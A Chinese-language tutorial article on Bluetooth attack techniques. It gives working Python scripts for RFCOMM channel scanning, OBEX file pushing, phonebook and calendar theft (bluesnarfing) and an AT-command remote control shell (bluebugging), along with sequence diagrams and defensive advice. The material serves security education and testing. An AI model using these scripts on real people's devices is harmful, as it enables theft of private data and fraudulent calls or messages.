藍牙安全漏洞深度解析：從協定剖析到攻擊防禦實戰

隨著物聯網時代的來臨,藍牙技術已經深入我們生活的每個角落,從智慧型手機到穿戴式裝置,從車載系統到智慧家居設備,藍牙連線無處不在。然而,這種便利性的背後卻隱藏著不容忽視的安全風險。藍牙協定在設計之初雖然考慮了安全性,但隨著技術演進與攻擊手法的進步,許多早期設計的安全機制已經顯露出明顯的弱點。

本文將從技術實作的角度切入,深入探討藍牙通訊協定中存在的各種安全漏洞。我們將聚焦於四個關鍵的攻擊向量:RFCOMM 通道掃描技術、OBEX 協定利用、藍牙竊聽攻擊以及藍牙蟲攻擊。這些攻擊手法不僅在理論上具有可行性,更在實際的安全測試場景中被廣泛應用。透過理解這些攻擊的原理與實作細節,資安從業人員能夠更有效地評估藍牙裝置的安全性,並建立相應的防護機制。

RFCOMM 通道掃描技術深度剖析

RFCOMM 協定是藍牙技術堆疊中的重要組成部分,它在 L2CAP 層之上提供了串列埠模擬功能,讓應用程式能夠透過類似傳統 RS-232 串列埠的方式進行通訊。這種設計雖然提供了良好的相容性與易用性,但也為攻擊者提供了探測藍牙裝置開放服務的管道。

攻擊者透過系統性地掃描目標裝置的 RFCOMM 通道,可以發現哪些服務正在執行,進而評估可能的攻擊面。這種掃描技術的核心概念類似於傳統網路環境中的埠掃描,但由於藍牙協定的特殊性,實作細節有著顯著差異。

import lightblue
from signal import signal, SIGALRM, alarm
import sys

def sig_alrm_handler(signum, frame):
    """
    處理 SIGALRM 訊號的回呼函式
    當連線逾時發生時,設定全域旗標以指示逾時狀態
    """
    global got_timeout
    got_timeout = True

# 註冊訊號處理器,用於處理連線逾時情況
signal(SIGALRM, sig_alrm_handler)

# 檢查命令列參數是否正確
if len(sys.argv) < 2:
    print("用法: " + sys.argv[0] + " <藍牙位址>")
    sys.exit(0)

# 掃描 RFCOMM 通道範圍 1-30
# 藍牙規範定義最多可支援 30 個 RFCOMM 通道
for channel in range(1, 31):
    # 為每個通道建立新的藍牙 socket
    sock = lightblue.socket()
    got_timeout = False
    channel_status = 0

    try:
        # 設定 2 秒的連線逾時
        # 避免在掃描過濾或關閉的通道時長時間等待
        alarm(2)
        
        # 嘗試連線到目標裝置的指定通道
        sock.connect((sys.argv[1], channel))
        
        # 連線成功後立即取消逾時警報
        alarm(0)
        sock.close()
        channel_status = 1
    except IOError:
        # 連線失敗時的例外處理
        # 可能是通道關閉或不存在
        pass

    # 根據連線結果判斷通道狀態
    if got_timeout:
        print("通道 " + str(channel) + " 被過濾")
    elif channel_status == 0:
        print("通道 " + str(channel) + " 已關閉")
    elif channel_status == 1:
        print("通道 " + str(channel) + " 已開啟")

這段程式碼展示了 RFCOMM 通道掃描的核心邏輯。透過逐一嘗試連線到目標裝置的每個通道,並根據連線結果判斷通道狀態,攻擊者可以建立目標裝置的服務地圖。程式中使用了訊號機制來處理連線逾時,這是因為某些藍牙裝置會對未授權的連線請求進行延遲回應,如果不設定逾時機制,掃描過程可能會耗費大量時間。

通道狀態的判斷邏輯分為三種情況:當連線在逾時時間內沒有得到回應時,表示該通道被防火牆或安全機制過濾;當連線立即被拒絕時,表示該通道處於關閉狀態;當連線成功建立時,則表示該通道開啟並接受連線。這種狀態判斷方法讓攻擊者能夠精確地識別目標裝置上可能存在的攻擊面。

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participant "攻擊者" as Attacker
participant "目標裝置" as Target

note over Attacker, Target: RFCOMM 通道掃描流程

loop 掃描通道 1 到 30
    Attacker -> Target: 連線請求 (通道 N)
    
    alt 通道開啟
        Target --> Attacker: 連線接受
        Attacker -> Attacker: 記錄為開啟狀態
    else 通道關閉
        Target --> Attacker: 連線拒絕
        Attacker -> Attacker: 記錄為關閉狀態
    else 通道被過濾
        Target --> Attacker: 無回應 (逾時)
        Attacker -> Attacker: 記錄為過濾狀態
    end
end

note over Attacker: 掃描完成,建立服務地圖

end note

end note

@enduml

這張時序圖清楚展示了 RFCOMM 通道掃描的完整流程。攻擊者系統性地遍歷所有可能的通道編號,根據目標裝置的回應判斷每個通道的狀態。透過這種方式,攻擊者能夠在不需要事先知道目標裝置服務配置的情況下,快速識別出可能存在的攻擊入口點。

OBEX 協定利用與檔案傳輸攻擊

OBEX 協定最初設計是為了讓藍牙裝置之間能夠方便地交換檔案與物件資料,這在行動裝置上實現了類似檔案總管的拖放功能。然而,這種便利性同時也帶來了安全隱患。如果藍牙裝置的 OBEX 服務沒有正確配置存取控制,攻擊者就能夠在未經授權的情況下向目標裝置傳送檔案或從目標裝置下載檔案。

攻擊者可以利用 OBEX 協定的推送功能,向目標裝置傳送惡意檔案。這些檔案可能包含惡意程式碼,或者利用檔案處理軟體的漏洞來執行任意程式碼。在某些情況下,即使沒有程式碼執行漏洞,攻擊者也可以透過傳送大量檔案來進行阻斷服務攻擊,耗盡目標裝置的儲存空間。

from lightblue.obex import OBEXClient
import sys

# 驗證命令列參數完整性
if len(sys.argv) < 4:
    print(sys.argv[0] + ": <藍牙位址> <通道> <檔案路徑>")
    sys.exit(0)

# 解析命令列參數
btaddr = sys.argv[1]      # 目標裝置的藍牙位址
channel = int(sys.argv[2]) # OBEX 服務的通道編號
my_file = sys.argv[3]      # 要傳送的檔案路徑

# 建立 OBEX 客戶端實例
# 指定目標裝置位址和服務通道
obex = OBEXClient(btaddr, channel)

# 建立 OBEX 連線
# 這個步驟會進行握手並建立通訊管道
obex.connect()

# 執行檔案傳輸操作
# 第一個參數是 OBEX 標頭字典,包含檔案名稱等中繼資料
# 第二個參數是檔案內容的二進位流
obex.put({'name': my_file}, open(my_file, "rb"))

# 關閉 OBEX 連線
# 釋放資源並清理連線狀態
obex.disconnect()

這段程式碼展示了如何透過 OBEX 協定向目標裝置傳送檔案。程式首先建立與目標裝置的 OBEX 連線,然後使用 PUT 操作傳送指定的檔案。整個過程看似簡單,但其背後涉及了複雜的協定互動。OBEX 客戶端需要正確處理握手流程、封包分段、錯誤重傳等細節,才能確保檔案傳輸的可靠性。

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participant "攻擊者" as Attacker
participant "目標裝置" as Target

note over Attacker, Target: OBEX 檔案傳輸攻擊流程

Attacker -> Target: OBEX 連線請求
Target --> Attacker: 連線回應

note over Attacker: 準備惡意檔案

Attacker -> Target: PUT 請求 (包含檔案中繼資料)
Target --> Attacker: 繼續回應

loop 分段傳輸
    Attacker -> Target: 檔案資料區塊
    Target --> Attacker: 接收確認
end

Attacker -> Target: 傳輸完成通知
Target --> Attacker: 完成確認

note over Target: 檔案寫入裝置儲存空間

Attacker -> Target: OBEX 中斷連線
Target --> Attacker: 中斷確認

end note

end note

end note

@enduml

這張時序圖詳細描繪了 OBEX 檔案傳輸的完整流程。從連線建立到檔案分段傳輸,再到連線關閉,每個步驟都涉及明確的協定互動。攻擊者透過控制這些互動流程,可以精確地將惡意檔案植入目標裝置,而整個過程可能不會觸發任何明顯的使用者提示。

藍牙竊聽攻擊的技術實現

藍牙竊聽攻擊代表了 OBEX 協定利用的進階形式。與單純的檔案傳送不同,這種攻擊手法專注於從目標裝置提取敏感資訊。許多行動裝置透過 OBEX 協定提供電話簿同步和行事曆同步功能,而這些功能的實作往往缺乏嚴格的存取控制,讓攻擊者有機會在未經授權的情況下讀取這些私密資料。

攻擊的關鍵在於瞭解目標裝置儲存敏感資訊的檔案路徑與格式。不同廠商的裝置可能使用不同的檔案命名規範與目錄結構,但大多數裝置遵循某些常見的標準路徑。攻擊者透過嘗試讀取這些標準路徑下的檔案,通常能夠成功獲取電話簿、簡訊記錄、行事曆等敏感資料。

from lightblue.obex import OBEXClient
import sys

# 驗證命令列參數
if len(sys.argv) < 3:
    print(sys.argv[0] + ": <藍牙位址> <通道>")
    sys.exit(0)

# 解析目標裝置資訊
btaddr = sys.argv[1]      # 目標裝置的藍牙位址
channel = int(sys.argv[2]) # OBEX 服務的通道編號

# 建立 OBEX 客戶端並連線
obex = OBEXClient(btaddr, channel)
obex.connect()

# 嘗試下載行事曆資料
# vCalendar 格式是行動裝置常用的行事曆資料格式
with open("calendar.vcs", "wb") as fh:
    # 使用 OBEX GET 操作讀取遠端檔案
    # "telecom/cal.vcs" 是多數裝置儲存行事曆資料的標準路徑
    obex.get({"name": "telecom/cal.vcs"}, fh)

# 嘗試下載電話簿資料
# vCard 格式是行動裝置常用的聯絡人資料格式
with open("phonebook.vcf", "wb") as fh:
    # 使用 OBEX GET 操作讀取遠端檔案
    # "telecom/pb.vcf" 是多數裝置儲存電話簿的標準路徑
    obex.get({"name": "telecom/pb.vcf"}, fh)

# 關閉連線
obex.disconnect()

這段程式碼展示了藍牙竊聽攻擊的核心實作。程式透過 OBEX GET 操作從目標裝置下載行事曆和電話簿檔案。這些檔案通常包含了使用者的完整聯絡人清單、通話記錄、會議安排等高度敏感的資訊。攻擊的成功關鍵在於目標裝置是否正確實作了 OBEX 服務的存取控制機制,以及這些敏感檔案是否被適當地保護。

值得注意的是,某些裝置雖然要求配對才能存取 OBEX 服務,但配對過程本身也可能存在漏洞。攻擊者可能透過社交工程手段誘使使用者接受配對請求,或者利用配對協定的弱點繞過身份驗證。一旦成功建立 OBEX 連線,攻擊者就能夠自由地讀取或寫入目標裝置上的檔案。

藍牙蟲攻擊與遠端控制技術

藍牙蟲攻擊代表了藍牙安全威脅中最嚴重的類別之一。這種攻擊手法利用某些藍牙裝置上存在的隱藏 AT 命令介面,讓攻擊者能夠遠端控制目標裝置執行各種操作。AT 命令原本是設計用於數據機控制的指令集,但許多行動裝置為了支援免持通話等功能,在藍牙堆疊中保留了 AT 命令處理能力。

攻擊者透過建立到隱藏 RFCOMM 通道的連線,可以直接向裝置的基頻處理器傳送 AT 命令。這些命令的功能非常廣泛,從撥打電話、傳送簡訊,到讀取裝置資訊、修改設定,甚至在某些情況下執行任意程式碼。這種攻擊的隱蔽性極高,因為整個過程不需要與使用者互動,也不會在裝置螢幕上顯示任何明顯的提示。

import lightblue
import sys

# 檢查命令列參數
if len(sys.argv) < 2:
    print(sys.argv[0] + " <藍牙位址> <通道>")
    sys.exit(0)

# 解析目標裝置資訊
btaddr = sys.argv[1]               # 目標裝置的藍牙位址
channel = int(sys.argv[2]) or 17  # AT 命令介面通常在通道 17

# 建立藍牙 socket 連線
sock = lightblue.socket()
sock.connect((btaddr, channel))

# 進入互動式命令模式
# 讓使用者可以即時輸入 AT 命令並查看回應
while True:
    # 讀取使用者輸入的 AT 命令
    cmd = input(">>> ")
    
    # 檢查是否要退出程式
    if cmd in ["quit", "exit"]:
        break
    
    # 傳送 AT 命令到目標裝置
    # AT 命令必須以 "\r" (Carriage Return) 結尾
    # 這是 AT 命令規範的要求
    sock.send(cmd + "\r")
    
    # 注意:這個簡化的實作沒有處理命令回應
    # 完整的實作應該接收並顯示裝置的回應資料

# 關閉連線
sock.close()

這段程式碼實作了一個簡單的 AT 命令互動介面。攻擊者可以透過這個介面向目標裝置傳送各種 AT 命令,執行遠端控制操作。常見的攻擊場景包括:使用 ATD 命令撥打付費電話號碼,使用 AT+CMGS 命令傳送付費簡訊,使用 AT+CPIN 命令讀取 SIM 卡資訊,或使用其他自訂 AT 命令執行特定的裝置操作。

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skinparam defaultFontName "Microsoft JhengHei UI"
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participant "攻擊者" as Attacker
participant "目標裝置" as Target
participant "基頻處理器" as Baseband

note over Attacker, Baseband: 藍牙蟲攻擊流程

Attacker -> Target: 連線到隱藏 RFCOMM 通道
Target --> Attacker: 連線成功

loop AT 命令執行迴圈
    Attacker -> Target: AT 命令 (例如 ATD123456789)
    Target -> Baseband: 轉發 AT 命令
    Baseband -> Baseband: 執行命令 (撥號)
    Baseband --> Target: 命令執行結果
    Target --> Attacker: 回傳執行狀態
end

note over Baseband: 惡意操作已執行\n使用者可能完全不知情

end note

end note

@enduml

這張時序圖展示了藍牙蟲攻擊的完整執行流程。攻擊者透過隱藏的 RFCOMM 通道直接與裝置的基頻處理器通訊,繞過了正常的應用層安全檢查。基頻處理器接收到 AT 命令後會直接執行,而不會經過作業系統的權限檢查機制,這使得攻擊者能夠執行許多通常需要使用者授權的敏感操作。

藍牙安全防護策略與最佳實務

面對這些多樣化的藍牙安全威脅,建立全面的防護體系至關重要。首先,裝置製造商應該在設計階段就考慮安全性,確保所有藍牙服務都實作了適當的存取控制機制。OBEX 服務應該要求強制配對與授權,而不是依賴預設的開放設定。隱藏的 AT 命令介面應該被完全移除或嚴格限制存取權限,避免成為攻擊者的入口點。

對於一般使用者而言,保持警覺並採取基本的安全措施可以大幅降低遭受攻擊的風險。當不使用藍牙功能時,應該將其完全關閉而不僅僅是設定為不可發現模式。在公共場所使用藍牙時要特別小心,避免接受來自不明裝置的配對請求。定期更新裝置韌體也很重要,因為製造商通常會透過韌體更新修補已知的安全漏洞。

從企業資安管理的角度來看,應該建立明確的藍牙使用政策,規範員工在工作環境中使用藍牙裝置的方式。對於處理敏感資訊的組織,可以考慮在某些區域完全禁止使用藍牙,或者使用藍牙監控系統來偵測可疑的藍牙活動。定期進行安全評估與滲透測試,能夠及時發現潛在的藍牙安全風險,並在攻擊者利用之前加以修補。

技術層面上,網路管理者可以部署專門的藍牙安全閘道器,監控並過濾可疑的藍牙流量。這些閘道器能夠識別異常的 RFCOMM 連線模式、可疑的 OBEX 操作,以及其他潛在的攻擊行為。結合入侵偵測系統與安全資訊事件管理平台,可以建立起多層次的藍牙安全防禦體系,即時發現並回應安全威脅。

藍牙安全的未來發展將朝向更強的加密機制與更完善的身份驗證方案。藍牙 5.0 以後的版本已經引入了更多的安全增強功能,包括更長的金鑰長度與更嚴格的配對程序。然而,由於大量舊有裝置仍在使用中,這些安全改進的普及需要相當長的時間。在這個過渡期間,保持對藍牙安全威脅的認識,並採取適當的防護措施,是保護個人與組織資訊安全的關鍵。